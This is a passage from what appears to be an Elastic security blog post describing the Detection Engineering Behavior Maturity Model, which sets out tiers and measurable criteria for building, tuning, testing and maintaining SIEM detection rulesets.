* SOC Fatigue and Low Detection Accuracy: The overwhelming nature of managing high volumes of alerts, often leading to burnout among SOC analysts, is compounded by low-fidelity detection logic and high false positive (FP) rates, resulting in a high number of alerts that are not actual threats and do not accurately identify malicious activity.
|
||||
* Lack of Contextual Information and Poor Documentation: Detection rules that trigger alerts without sufficient contextual information to understand the event's significance or lack of guidance for the course of action, combined with insufficient documentation for detection rules, including their purpose, logic, and expected outcomes.
|
||||
* Inconsistent Rule Quality: Variability in the quality and effectiveness of detection rules.
|
||||
* Outdated Detection Logic: Detection rules must be updated to reflect the latest threat intelligence and attack techniques.
|
||||
* Overly Complex Rules: Detection rules that are too complex, making them difficult to maintain and understand.
|
||||
* Lack of Automation: Reliance on manual processes for rule updates, alert triage, and response.
|
||||
* Inadequate Testing and Validation: Detection rules must be thoroughly tested and validated before deployment.
|
||||
* Inflexible Rulesets: Detection rules that are not adaptable to environmental changes or new attack techniques.
|
||||
* Lack of Metrics, Measurement, and Coverage Insights: More metrics are needed to measure the effectiveness, performance, and coverage of detection rules across different areas.
|
||||
* Siloed Threat Intelligence: Threat intelligence must be integrated with detection rules, leading to fragmented and incomplete threat detection.
|
||||
* Inability to Prioritize New Rule Creation: Without a maturity system, teams might focus on quick wins or more exciting areas rather than what is needed.
|
||||
|
||||
**Opportunity:** This model encourages a structured approach to developing, managing, improving, and maintaining quality detection rulesets, helping security teams to:
|
||||
|
||||
* Reduce SOC fatigue by optimizing alert volumes and improving accuracy.
|
||||
* Enhance detection fidelity with regularly updated and well-tested rules.
|
||||
* Ensure consistent and high-quality detection logic across the entire ruleset.
|
||||
* Integrate contextual information and threat intelligence for more informed alerting.
|
||||
* Automate routine processes to improve efficiency and reduce manual errors.
|
||||
* Continuously measure and improve the performance of detection rules.
|
||||
* Stay ahead of threats, maintain effective detection capabilities, and enhance their overall security posture.
|
||||
|
||||
### Understanding the DEBMM Structure
|
||||
|
||||
DEBMM is segmented into **tiers** related to **criteria** to **quantitatively and qualitatively** convey maturity across different **levels**, each contributing to clear progression outcomes. It is designed to guide security teams through a structured set of behaviors to develop, manage, and maintain their detection rulesets.
|
||||
|
||||

|
||||
|
||||
#### Tiers
|
||||
|
||||
The DEBMM employs a multidimensional approach to maturity, encompassing both high-level tiers and granular levels of behaviors within each tier. The first dimension involves the overall maturity tiers, where criteria should be met progressively to reflect overall maturity. The second dimension pertains to the levels of behaviors within each tier, highlighting specific practices and improvements that convey maturity. This structure allows for flexibility and recognizes that maturity can be demonstrated in various ways. The second dimension loosely aligns with the NIST Cybersecurity Framework (CSF) maturity levels (Initial, Repeatable, Defined, Managed, and Optimized), providing a _familiar reference point_ for security teams. For instance, the qualitative behaviors and quantitative measurements within each DEBMM tier mirror the iterative refinement and structured process management advocated by the NIST CSF. By aligning with these principles, the DEBMM ensures that as teams progress through its tiers, they also embody the best practices and structured approach seen in the NIST CSF.
|
||||
|
||||
At a high level, the DEBMM consists of five maturity tiers, each building upon the previous one:
|
||||
|
||||
1. **Tier 0: Foundation** - No structured approach to rule development and management. Rules are created and maintained ad-hoc, with little documentation, peer review, stakeholder communication, or personnel training.
|
||||
2. **Tier 1: Basic** - Establishment of baseline rules, systematic rule management, version control, documentation, regular reviews of the threat landscape, and initial personnel training.
|
||||
3. **Tier 2: Intermediate** - Focus on continuously tuning rules to reduce false positives, identifying and documenting gaps, thorough internal testing and validation, and ongoing training and development for personnel.
|
||||
4. **Tier 3: Advanced** - Systematic identification and ensuring that legitimate threats are not missed (false negatives), engaging in external validation of rules, covering advanced TTPs, and advanced training for analysts and security experts.
|
||||
5. **Tier 4: Expert** - This level is characterized by advanced automation, seamless integration with other security tools, continuous improvement through regular updates and external collaboration, and comprehensive training programs for all levels of security personnel. Proactive threat hunting plays a crucial role in maintaining a robust security posture. It complements the ruleset, enhancing the management process by identifying new patterns and insights that can be incorporated into detection rules. Additionally, although not commonly practiced by vendors, detection development as a post-phase of incident response can provide valuable insights and enhance the overall effectiveness of the detection strategy.
|
||||
|
||||
It's ideal to progress through these tiers following an approach that best meets the security team's needs (e.g., sequentially, prioritizing by highest risk, etc.). Progressing through the tiers comes with increased operational costs, and rushing through the maturity model without proper budget and staff can lead to burnout and worsen the situation. Skipping foundational practices in the lower tiers can undermine the effectiveness of more advanced activities in the higher tiers.
|
||||
|
||||
Consistently meeting the expectations at each tier ensures a solid foundation for moving to the next level. Organizations should strive to iterate and improve continuously, recognizing that maturity is dynamic. The expert level represents an advanced state of maturity, but it is not the final destination. It requires ongoing commitment and adaptation to stay at that level. Organizations may experience fluctuations in their maturity level depending on the frequency and accuracy of assessments. This is why the focus should be on interactive development and recognize that different maturity levels within the tiers may be appropriate based on the organization's specific needs and resources.
|
||||
|
||||
#### Criteria and Levels
|
||||
|
||||
Each tier is broken down into specific criteria that security teams must meet. These criteria encompass various aspects of detection ruleset management, such as rule creation, management, telemetry quality, threat landscape review, stakeholder engagement, and more.
|
||||
|
||||
Within each criterion, there are qualitative behaviors and quantitative measurements that define the levels of maturity:
|
||||
|
||||
* **Qualitative Behaviors—State of Ruleset:** These subjective assessments are based on the quality and thoroughness of the ruleset and its documentation. They provide a way to evaluate the current state of the ruleset, helping threat researchers and detection engineers **understand and articulate the maturity of their ruleset in a structured manner. While individual perspectives can influence these behaviors and may vary between assessors, they are helpful for initial assessments and for providing detailed insights into the ruleset's state.
|
||||
* **Quantitative Measurements - Activities to Maintain State**: These provide a structured way to measure the activities and processes that maintain or improve the ruleset. They are designed to be more reliable for comparing the maturity of different rulesets and help track progress over time. While automation can help measure these metrics consistently, reflecting the latest state of maturity, each organization needs to define the ideal for its specific context. The exercise of determining and calculating these metrics will contribute significantly to the maturity process, ensuring that the measures are relevant and tailored to the unique needs and goals of the security team. Use this model as guidance, but establish and adjust specific calculations and metrics according to your organizational requirements and objectives.
|
||||
|
||||
Similar to Tiers, each level within the qualitative and quantitative measurements builds upon the previous one, indicating increasing maturity and sophistication in the approach to detection ruleset management. The goal is to provide clear outcomes and a roadmap for security teams to systematically and continuously improve their detection rulesets.
|
||||
|
||||
#### Scope of Effort to Move from Basic to Expert
|
||||
|
||||
Moving from the basic to the expert tier involves a significant and sustained effort. As teams progress through the tiers, the complexity and depth of activities increase, requiring more resources, advanced skills, and comprehensive strategies. For example, transitioning from Tier 1 to Tier 2 involves systematic rule tuning and detailed gap analysis, while advancing to Tier 3 and Tier 4 requires robust external validation processes, proactive threat hunting, and sophisticated automation. This journey demands commitment, continuous learning, and adaptation to the evolving threat landscape.
|
||||
|
||||
#### Tier 0: Foundation
|
||||
|
||||
Teams must build a structured approach to rule development and management at the foundational tier. Detection rules may start out being created and maintained ad hoc, with little to no peer review, and often needing proper documentation and stakeholder communication. Threat modeling initially rarely influences the creation and management of detection rules, resulting in a reactive rather than proactive approach to threat detection. Additionally, there may be little to no roadmap documented or planned for rule development and updates, leading to inconsistent and uncoordinated efforts.
|
||||
|
||||
Establishing standards for what defines a good detection rule is essential to guiding teams toward higher maturity levels. It is important to recognize that a rule may not be perfect in its infancy and will require continuous improvement over time. This is acceptable if analysts are committed to consistently refining and enhancing the rule. We provide recommendations on what a good rule looks like based on our experience, but organizations must define their perfect rule considering their available capabilities and resources.
|
||||
|
||||
Regardless of the ruleset, a rule should include specific fields that ensure its effectiveness and accuracy. Different maturity levels will handle these fields with varying completeness and accuracy. While more content provides more opportunities for mistakes, the quality of a rule should improve with the maturity of the ruleset. For example, a better query with fewer false positives, more descriptions with detailed information, and up-to-date MITRE ATT&CK information are indicators of higher maturity.
|
||||
|
||||
By establishing and progressively improving these criteria, teams can enhance the quality and effectiveness of their detection rulesets. Fundamentally, it starts with developing, managing, and maintaining a single rule. Creating a roadmap for rule development and updates, even at the most basic level, can provide direction and ensure that improvements are systematically tracked and communicated. Most fields should be validated against a defined schema to provide consistency. For more details, see the [Example Rule Fields](#Example-Rule-Metadata).
|
||||
|
||||

|
||||
|
||||
##### Criteria
|
||||
|
||||
###### Structured Approach to Rule Development and Management
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No structured approach; rules created randomly without documentation.
|
||||
* Repeatable: Minimal structure; some rules are created with primary documentation.
|
||||
* Defined: Standardized process for rule creation with detailed documentation and alignment with defined schemas.
|
||||
* Managed: Regularly reviewed and updated rules, ensuring consistency and adherence to documented standards, with stakeholder involvement.
|
||||
* Optimized: Continuous improvement based on feedback and evolving threats, with automated rule creation and management processes.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No formal activities for rule creation.
|
||||
* Repeatable: Sporadic creation of rules with minimal oversight or review; less than 20% of rules have complete documentation; less than 10% of rules are aligned with a defined schema; rules created do not undergo any formal approval process.
|
||||
* Defined: Regular creation and documentation of rules, with 50-70% alignment to defined schemas and peer review processes.
|
||||
* Managed: Comprehensive creation and management activities, with 70-90% of rules having complete documentation and formal approval processes.
|
||||
* Optimized: Fully automated and integrated rule creation and management processes, with 90-100% alignment to defined schemas and continuous documentation updates.
|
||||
|
||||
###### Creation and Maintenance of Detection Rules
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: Rules created and modified ad hoc, without version control.
|
||||
* Repeatable: Occasional updates to rules, but still need a systematic process.
|
||||
* Defined: Systematic process for rule updates, including version control and regular documentation.
|
||||
* Managed: Regular, structured updates with detailed documentation, version control, and stakeholder communication.
|
||||
* Optimized: Continuous rule improvement with automated updates, comprehensive documentation, and proactive stakeholder engagement.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No formal activities are required to maintain detection rules.
|
||||
* Repeatable: Rules are updated sporadically, with less than 50% of rules reviewed annually; more than 30% of rules have missing or incomplete descriptions, references, or documentation; less than 20% of rules are peer-reviewed; less than 20% of rules include escalation procedures or guides; less than 15% of rules have associated metadata for tracking rule effectiveness and modifications.
|
||||
* Defined: Regular updates with 50-70% of rules reviewed annually; detailed descriptions, references, and documentation for most rules; 50% of rules are peer-reviewed.
|
||||
* Managed: Comprehensive updates with 70-90% of rules reviewed annually; complete descriptions, references, and documentation for most rules; 70% of rules are peer-reviewed.
|
||||
* Optimized: Automated updates with 90-100% of rules reviewed annually; thorough descriptions, references, and documentation for all rules; 90-100% of rules are peer-reviewed and include escalation procedures and guides.
|
||||
|
||||
###### Roadmap Documented or Planned
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No roadmap documented or planned for rule development and updates.
|
||||
* Repeatable: A basic roadmap exists for some rules, with occasional updates and stakeholder communication.
|
||||
* Defined: A comprehensive roadmap is documented for most rules, with regular updates and stakeholder involvement.
|
||||
* Managed: Detailed, regularly updated roadmap covering all rules, with proactive stakeholder communication and involvement.
|
||||
* Optimized: Dynamic, continuously updated roadmap integrated into organizational processes, with full stakeholder engagement and alignment with strategic objectives.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No documented roadmap for rule development and updates.
|
||||
* Repeatable: Basic roadmap documented for less than 30% of rules; fewer than two roadmap updates or stakeholder meetings per year; less than 20% of rules have a planned update schedule; no formal process for tracking roadmap progress.
|
||||
* Defined: Roadmap documented for 50-70% of rules; regular updates and stakeholder meetings; 50% of rules have a planned update schedule.
|
||||
* Managed: Comprehensive roadmap for 70-90% of rules; frequent updates and stakeholder meetings; 70% of rules have a planned update schedule and tracked progress.
|
||||
* Optimized: Fully integrated roadmap for 90-100% of rules; continuous updates and proactive stakeholder engagement; 90-100% of rules have a planned update schedule with formal tracking processes.
|
||||
|
||||
###### Threat Modeling Performed
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No threat modeling was performed.
|
||||
* Repeatable: Occasional, ad-hoc threat modeling with minimal impact on rule creation without considering data and environment specifics.
|
||||
* Defined: Regular threat modeling with structured processes influencing rule creation, considering data and environment specifics.
|
||||
* Managed: Comprehensive threat modeling integrated into rule creation and updates, with detailed documentation and stakeholder involvement.
|
||||
* Optimized: Continuous, proactive threat modeling with real-time data integration, influencing all aspects of rule creation and management with full stakeholder engagement.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No formal threat modeling activities.
|
||||
* Repeatable: Sporadic threat modeling efforts; less than one threat modeling exercise conducted per year with minimal documentation or impact analysis; threat models are reviewed or updated less than twice a year; less than 10% of new rules are based on threat modeling outcomes, and data and environment specifics are not consistently considered.
|
||||
* Defined: Regular threat modeling efforts; one to two annual exercises with detailed documentation and impact analysis; threat models reviewed or updated quarterly; 50-70% of new rules are based on threat modeling outcomes.
|
||||
* Managed: Comprehensive threat modeling activities; three to four exercises conducted per year with thorough documentation and impact analysis; threat models reviewed or updated bi-monthly; 70-90% of new rules are based on threat modeling outcomes.
|
||||
* Optimized: Continuous threat modeling efforts; monthly exercises with real-time documentation and impact analysis; threat models reviewed or updated continuously; 90-100% of new rules are based on threat modeling outcomes, considering data and environment specifics.
|
||||
|
||||
#### Tier 1: Basic
|
||||
|
||||
The basic tier involves creating a baseline of rules to cover fundamental threats. This includes differentiating between baseline rules for core protection and other supporting rules. Systematic rule management, including version control and documentation, is established. There is a focus on improving and maintaining telemetry quality and reviewing threat landscape changes regularly. At Elastic, we have always followed a Detections as Code (DAC) approach to rule management, which has helped us maintain our rulesets. We have recently exposed some of our internal capabilities and [documented core DAC principles](https://dac-reference.readthedocs.io/en/latest/) for the community to help improve your workflows.
|
||||
|
||||

|
||||
|
||||
##### Criteria
|
||||
|
||||
**Creating a Baseline**
|
||||
|
||||
Creating a baseline of rules involves developing a foundational set of rules to cover basic threats. This process starts with understanding the environment and the data available, ensuring that the rules are tailored to the specific needs and capabilities of the organization. The focus should be on critical tactics such as initial access, execution, persistence, privilege escalation, command & control, and critical assets determined by threat modeling and scope. A baseline is defined as the minimal rules necessary to detect critical threats within these tactics or assets, recognizing that not all techniques may be covered. Key tactics are defined as the initial stages of an attack lifecycle where attackers gain entry, establish a foothold, and escalate privileges to execute their objectives. Major threats are defined as threats that can cause significant harm or disruption to the organization, such as ransomware, data exfiltration, and unauthorized access. Supporting rules, such as Elastic’s Building Block Rules (BBR), help enhance the overall detection capability.
|
||||
|
||||
Given the evolution of SIEM and the integration of Endpoint Detection and Response (EDR) solutions, there is an alternative first step for users who utilize an EDR. Only some SIEM users have an EDR, so this step may only apply to some, but organizations should validate that their EDR provides sufficient coverage of basic TTPs. Once this validation is complete, you may supplement that coverage for specific threats of concern based on your environment. Identify high-value assets and profile what typical host and network behavior looks like for them. Develop rules to detect deviations, such as new software installations or unexpected network connections, to ensure a comprehensive security posture tailored to your needs.
|
||||
|
||||
Comprehensive documentation goes beyond basic descriptions to include detailed explanations, investigative steps, and context about each rule. For example, general documentation states the purpose of a rule and its query logic. In contrast, comprehensive documentation provides an in-depth analysis of the rule's intent, the context of its application, detailed steps for investigation, potential false positives, and related rules. Comprehensive documentation ensures that security analysts have all the necessary information to effectively utilize and maintain the rule, leading to more accurate and actionable detections.
|
||||
|
||||
It would begin with an initial context explaining the technology behind the rule, outlining the risks and why the user should care about them, and detailing what the rule does and how it operates. This would be followed by possible investigation steps, including triage, scoping, and detailed investigation steps to analyze the alert thoroughly. A section on false positive analysis also provides steps to identify and mitigate false positives, ensuring the rule's accuracy and reliability. The documentation would also list related rules, including their names and IDs, to provide a comprehensive view of the detection landscape. Finally, response and remediation actions would be outlined to guide analysts in containing, remediating, and escalating the alert based on the triage results, ensuring a swift and effective response to detected threats. Furthermore, a setup guide section would be added to explain any prerequisite setup information needed to properly function, ensuring that users have all the necessary configuration details before deploying the rule.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: A few baseline rules are created to set the foundation for the ruleset.
|
||||
* Repeatable: Some baseline rules were created covering key tactics (initial access, execution, persistence, privilege escalation, and command and control) for well-documented threats.
|
||||
* Defined: Comprehensive baseline rules covering significant threats (e.g., ransomware, data exfiltration, unauthorized access) created and documented.
|
||||
* Managed: Queries and rules are validated against the defined schema that aligns with the security product before release.
|
||||
* Optimized: Continuous improvement and fine-tuning baseline rules with advanced threat modeling and automation.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: 5-10 baseline rules created and documented per ruleset (e.g., AWS S3 ruleset, AWS Lambda ruleset, Azure ruleset, Endpoint ruleset).
|
||||
* Repeatable: More than ten baseline rules are created and documented per ruleset, covering major techniques based on threat modeling (e.g., probability of targeting, data source availability, impact on critical assets); at least 10% of rules go through a diagnostic phase.
|
||||
* Defined: A significant percentage (e.g., 60-70%) baseline of ATT&CK techniques covered per data source; 70-80% of rules tested as diagnostic (beta) rules before production; regular updates and validation of rules.
|
||||
* Managed: 90% or more of baseline ATT&CK techniques covered per data source; 100% of rules undergo a diagnostic phase before production; comprehensive documentation and continuous improvement processes are in place.
|
||||
* Optimized: 100% coverage of baseline ATT&CK techniques per data source; automated diagnostic and validation processes for all rules; continuous integration and deployment (CI/CD) for rule updates.
|
||||
|
||||
###### Managing and Maintaining Rulesets
|
||||
|
||||
A systematic approach to managing and maintaining rules, including version control, documentation, and validation.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No rule management.
|
||||
* Repeatable: Occasional rule processes with some documentation and a recurring release cycle for rules.
|
||||
* Defined: Regular rule management with comprehensive documentation and version control.
|
||||
* Managed: Applies a Detections as Code (schema validation, query validation, versioning, automation, etc.) approach to rule management.
|
||||
* Optimized: Advanced automated processes with continuous weekly rule management and validation; complete documentation and version control for all rules.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No rule management activities.
|
||||
* Repeatable: Basic rule management activities are conducted quarterly; less than 20% of rules have version control.
|
||||
* Defined: Regular rule updates and documentation are conducted monthly; 50-70% of rules have version control and comprehensive documentation.
|
||||
* Managed: Automated processes for rule management and validation are conducted bi-weekly; 80-90% of rules are managed using Detections as Code principles.
|
||||
* Optimized: Advanced automated processes with continuous weekly rule management and validation; 100% of rules managed using Detections as Code principles, with complete documentation and version control.
|
||||
|
||||
###### Improving and Maintaining Telemetry Quality
|
||||
|
||||
Begin conversations and develop relationships with teams managing telemetry data. This applies differently to various security teams: for vendors, it may involve data from all customers; for SOC or Infosec teams, it pertains to company data; and for MSSPs, it covers data from managed clusters. Having good data sources is crucial for all security teams to ensure the effectiveness and accuracy of their detection rules. This also includes incorporating cyber threat intelligence (CTI) workflows to enrich telemetry data with relevant threat context and indicators, improving detection capabilities. Additionally, work with your vendor and align your detection engineering milestones with their feature milestones to ensure you're utilizing the best tooling and getting the most out of your detection rules. This optional criterion can be skipped if not applicable to internal security teams.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No updates or improvements to telemetry to improve the ruleset.
|
||||
* Repeatable: Occasional manual updates and minimal ad hoc collaboration.
|
||||
* Defined: Regular updates with significant integration and formalized collaboration, including communication with Points of Contact (POCs) from integration teams and initial integration of CTI data.
|
||||
* Managed: Comprehensive updates and collaboration with consistent integration of CTI data, enhancing the contextual relevance of telemetry data and improving detection accuracy.
|
||||
* Optimized: Advanced integration of CTI workflows with telemetry data, enabling real-time enrichment and automated responses to emerging threats.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No telemetry updates or improvements.
|
||||
* Repeatable: Basic manual updates and improvements occurring sporadically; less than 30% of rule types produce telemetry/internal data.
|
||||
* Defined: Regular manual updates and improvements occurring at least once per quarter, with periodic CTI data integration; 50-70% of telemetry data integrated with CTI; initial documentation of enhancements in data quality and rule effectiveness.
|
||||
* Managed: Semi-automated updates with continuous improvements, regular CTI data enrichment, and initial documentation of enhancements in data quality and rule effectiveness; 70-90% of telemetry data integrated with CTI.
|
||||
* Optimized: Fully automated updates and continuous improvements, comprehensive CTI integration, and detailed documentation of enhancements in data quality and rule effectiveness; 100% of telemetry data integrated with CTI; real-time enrichment and automated responses to emerging threats.
|
||||
|
||||
###### Reviewing Threat Landscape Changes
|
||||
|
||||
Regularly assess and update rules based on changes in the threat landscape, including threat modeling and organizational changes.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No reviews of threat landscape changes.
|
||||
* Repeatable: Occasional reviews with minimal updates and limited threat modeling.
|
||||
* Defined: Regular reviews and updates to ensure rule relevance and effectiveness, incorporating threat modeling.
|
||||
* Managed: Maintaining the ability to adaptively respond to emerging threats and organizational changes, with comprehensive threat modeling and cross-correlation of new intelligence.
|
||||
* Optimized: Continuous monitoring and real-time updates based on emerging threats and organizational changes, with dynamic threat modeling and cross-correlation of intelligence.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No reviews conducted.
|
||||
* Repeatable: Reviews conducted bi-annually, referencing cyber blog sites and company reports; less than 30% of rules are reviewed based on threat landscape changes.
|
||||
* Defined: Comprehensive quarterly reviews conducted, incorporating new organizational changes, documented changes and improvements in rule effectiveness; 50-70% of rules are reviewed based on threat landscape changes.
|
||||
* Managed: Continuous monitoring (monthly, weekly, or daily) of cyber intelligence sources, with actionable knowledge implemented and rules adjusted for new assets and departments; 90-100% of rules are reviewed and updated based on the latest threat intelligence and organizational changes.
|
||||
* Optimized: Real-time monitoring and updates with automated intelligence integration; 100% of rules are continuously reviewed and updated based on dynamic threat landscapes and organizational changes.
|
||||
|
||||
###### Driving the Feature with Product Owners
|
||||
|
||||
Actively engaging with product owners (internal or external) to ensure that the detection needs are on the product roadmap for things related to the detection rule lifecycle or product limitations impacting detection creation. This applies differently for vendors versus in-house security teams. For in-house security teams, this can apply to custom applications developed internally and engaging with vendors or third-party tooling. This implies beginning to build relationships with vendors (such as Elastic) to make feature requests that assist with their detection needs, especially when action needs to be taken by a third party rather than internally.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No engagement with product owners.
|
||||
* Repeatable: Ad hoc occasional engagement with some influence on the roadmap.
|
||||
* Defined: Regular engagement and significant influence on the product roadmap.
|
||||
* Managed: Structured engagement with product owners, leading to consistent integration of detection needs into the product roadmap.
|
||||
* Optimized: Continuous, proactive engagement with product owners, ensuring that detection needs are fully integrated into the product development lifecycle with real-time feedback and updates.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No engagements with product owners.
|
||||
* Repeatable: 1-2 engagements/requests completed per quarter; less than 20% of requests result in roadmap changes.
|
||||
* Defined: More than two engagements/requests per quarter, resulting in roadmap changes and improvements in the detection ruleset; 50-70% of requests result in roadmap changes; regular tracking and documentation of engagement outcomes.
|
||||
* Managed: Frequent engagements with product owners leading to more than 70% of requests resulting in roadmap changes; structured tracking and documentation of all engagements and outcomes.
|
||||
* Optimized: Continuous engagement with product owners with real-time tracking and adjustments; 90-100% of requests lead to roadmap changes; comprehensive documentation and proactive feedback loops.
|
||||
|
||||
###### End-to-End Release Testing and Validation
|
||||
|
||||
Implementing a robust end-to-end release testing and validation process to ensure the reliability and effectiveness of detection rules before pushing them to production. This includes running different tests to catch potential issues and ensure rule accuracy.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No formal testing or validation process.
|
||||
* Repeatable: Basic testing with minimal validation.
|
||||
* Defined: Comprehensive testing with internal validation processes and multiple gates.
|
||||
* Managed: Advanced testing with automated and external validation processes.
|
||||
* Optimized: Continuous, automated testing and validation with real-time feedback and improvement mechanisms.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No testing or validation activities.
|
||||
* Repeatable: 1-2 ruleset updates per release cycle (release cadence should be driven internally based on resources and internally mandated processes); less than 20% of rules tested before deployment.
|
||||
* Defined: Time to end-to-end test and release a new rule or tuning from development to production is less than one week; 50-70% of rules are tested before deployment with documented validation.
|
||||
* Managed: Ability to deploy an emerging threat rule within 24 hours; 90-100% of rules tested before deployment using automated and external validation processes; continuous improvement based on test outcomes.
|
||||
* Optimized: Real-time testing and validation with automated deployment processes; 100% of rules tested and validated continuously; proactive improvement mechanisms based on real-time feedback and intelligence.
|
||||
|
||||
#### Tier 2: Intermediate
|
||||
|
||||
At the intermediate tier, teams continuously tune detection rules to reduce false positives and stale rules. They identify and document gaps in ruleset coverage, testing and validating rules internally with emulation tools and malware detonations to ensure proper alerting. Systematic gap analysis and regular communication with stakeholders are emphasized.
|
||||
|
||||

|
||||
|
||||
##### Criteria
|
||||
|
||||
###### Continuously Tuning and Reducing False Positives (FP)
|
||||
|
||||
Regularly reviewing and adjusting rules to minimize false positives and stale rules. Establish shared/scalable exception lists when necessary to prevent repetitive adjustments and document past FP analysis to avoid recurring issues.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: Minimal tuning activities.
|
||||
* Repeatable: Reactive tuning based on alerts and ad hoc analyst feedback.
|
||||
* Defined: Proactive and systematic tuning, with documented reductions in FP rates and documented/known data sources, leveraged to reduce FPs.
|
||||
* Managed: Continuously tuned activities with detailed documentation and regular stakeholder communication; implemented systematic reviews and updates.
|
||||
* Optimized: Automated and dynamic tuning processes integrated with advanced analytics and machine learning to continuously reduce FPs and adapt to new patterns.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No reduction in FP rate (when necessary) based on the overall volume of FP alerts reduced.
|
||||
* Repeatable: 10-25% reduction in FP rate over the last quarter.
|
||||
* Defined: More than a 25% reduction in FP rate over the last quarter, with metrics varying (rate determined by ruleset feature owner) between SIEM and endpoint rules based on the threat landscape.
|
||||
* Managed: Consistent reduction in FP rate exceeding 50% over multiple quarters, with detailed metrics tracked and reported.
|
||||
* Optimized: Near real-time reduction in FP rate with automated feedback loops and continuous improvement, achieving over 75% reduction in FP rate.
|
||||
|
||||
###### Understanding and Documenting Gaps
|
||||
|
||||
Identifying gaps in ruleset or product coverage is essential for improving data visibility and detection capabilities. This includes documenting missing fields, logging datasets, and understanding outliers in the data. Communicating these gaps with stakeholders and addressing them as "blockers" helps ensure continuous improvement. By understanding outliers, teams can identify unexpected patterns or anomalies that may indicate undetected threats or issues with the current ruleset.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No gap analysis.
|
||||
* Repeatable: Occasional gap analysis with some documentation.
|
||||
* Defined: Comprehensive and regular gap analysis with detailed documentation and stakeholder communication, including identifying outliers in the data.
|
||||
* Managed: Systematic gap analysis integrated into regular workflows, with comprehensive documentation and proactive communication with stakeholders.
|
||||
* Optimized: Automated gap analysis using advanced analytics and machine learning, with real-time documentation and proactive stakeholder engagement to address gaps immediately.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No gaps documented.
|
||||
* Repeatable: 1-3 gaps in threat coverage (e.g., specific techniques like reverse shells, code injection, brute force attacks) documented and communicated.
|
||||
* Defined: More than three gaps in threat coverage or data visibility documented and communicated, including gaps that block rule creation (e.g., lack of agent/logs) and outliers identified in the data.
|
||||
* Managed: Detailed documentation and communication of all identified gaps, with regular updates and action plans to address them; over five gaps documented and communicated regularly.
|
||||
* Optimized: Continuous real-time gap analysis with automated documentation and communication; proactive measures in place to address gaps immediately; comprehensive tracking and reporting of all identified gaps.
|
||||
|
||||
###### Testing and Validation (Internal)
|
||||
|
||||
Performing activities like executing emulation tools, C2 frameworks, detonating malware, or other repeatable techniques to test rule functionality and ensure proper alerting.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No testing or validation.
|
||||
* Repeatable: Occasional testing with emulation capabilities.
|
||||
* Defined: Regular and comprehensive testing with malware or emulation capabilities, ensuring all rules in production are validated.
|
||||
* Managed: Systematic testing and validation processes integrated into regular workflows, with detailed documentation and continuous improvement.
|
||||
* Optimized: Automated and continuous testing and validation with advanced analytics and machine learning, ensuring real-time validation and improvement of all rules.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No internal tests were conducted.
|
||||
* Repeatable: 40% emulation coverage of production ruleset.
|
||||
* Defined: 80% automated testing coverage of production ruleset.
|
||||
* Managed: Over 90% automated testing coverage of production ruleset with continuous validation processes.
|
||||
* Optimized: 100% automated and continuous testing coverage with real-time validation and feedback loops, ensuring optimal rule performance and accuracy.
|
||||
|
||||
#### Tier 3: Advanced
|
||||
|
||||
Advanced maturity involves systematically identifying and addressing false negatives, validating detection rules externally, and covering advanced TTPs (Tactics, Techniques, and Procedures). This tier emphasizes comprehensive and continuous improvement through external assessments and coverage of sophisticated threats.
|
||||
|
||||

|
||||
|
||||
##### Criteria
|
||||
|
||||
###### Triaging False Negatives (FN)
|
||||
|
||||
Triaging False Negatives (FN) involves systematically identifying and addressing instances where the detection rules fail to trigger alerts for actual threats, referred to as false negatives. False negatives occur when a threat is present in the dataset but is not detected by the existing rules, potentially leaving the organization vulnerable to undetected attacks. Leveraging threat landscape insights, this process documents and assesses false negatives within respective environments, aiming for a threshold of true positives in the dataset using the quantitative criteria.
|
||||
|
||||
* Qualitative Behaviors - State of Ruleset:
|
||||
* Initial: No triage of false negatives.
|
||||
* Repeatable: Sporadic triage with some improvements.
|
||||
* Defined: Systematic and regular triage with documented reductions in FNs and comprehensive FN assessments in different threat landscapes.
|
||||
* Managed: Proactive triage activities with detailed documentation and stakeholder communication; regular updates to address FNs.
|
||||
* Optimized: Continuous, automated triage and reduction of FNs using advanced analytics and machine learning; real-time documentation and updates.
|
||||
* Quantitative Measurements - Activities to Maintain State:
|
||||
* Initial: No reduction in FN rate.
|
||||
* Repeatable: 50% of the tested samples or tools used to trigger an alert; less than 10% of rules are reviewed for FNs quarterly; minimal documentation of FN assessments.
|
||||
* Defined: 70-90% of the tested samples trigger an alert, with metrics varying based on the threat landscape and detection capabilities; 30-50% reduction in FNs over the past year; comprehensive documentation and review of FNs for at least 50% of the rules quarterly; regular feedback loops established with threat intelligence teams.
|
||||
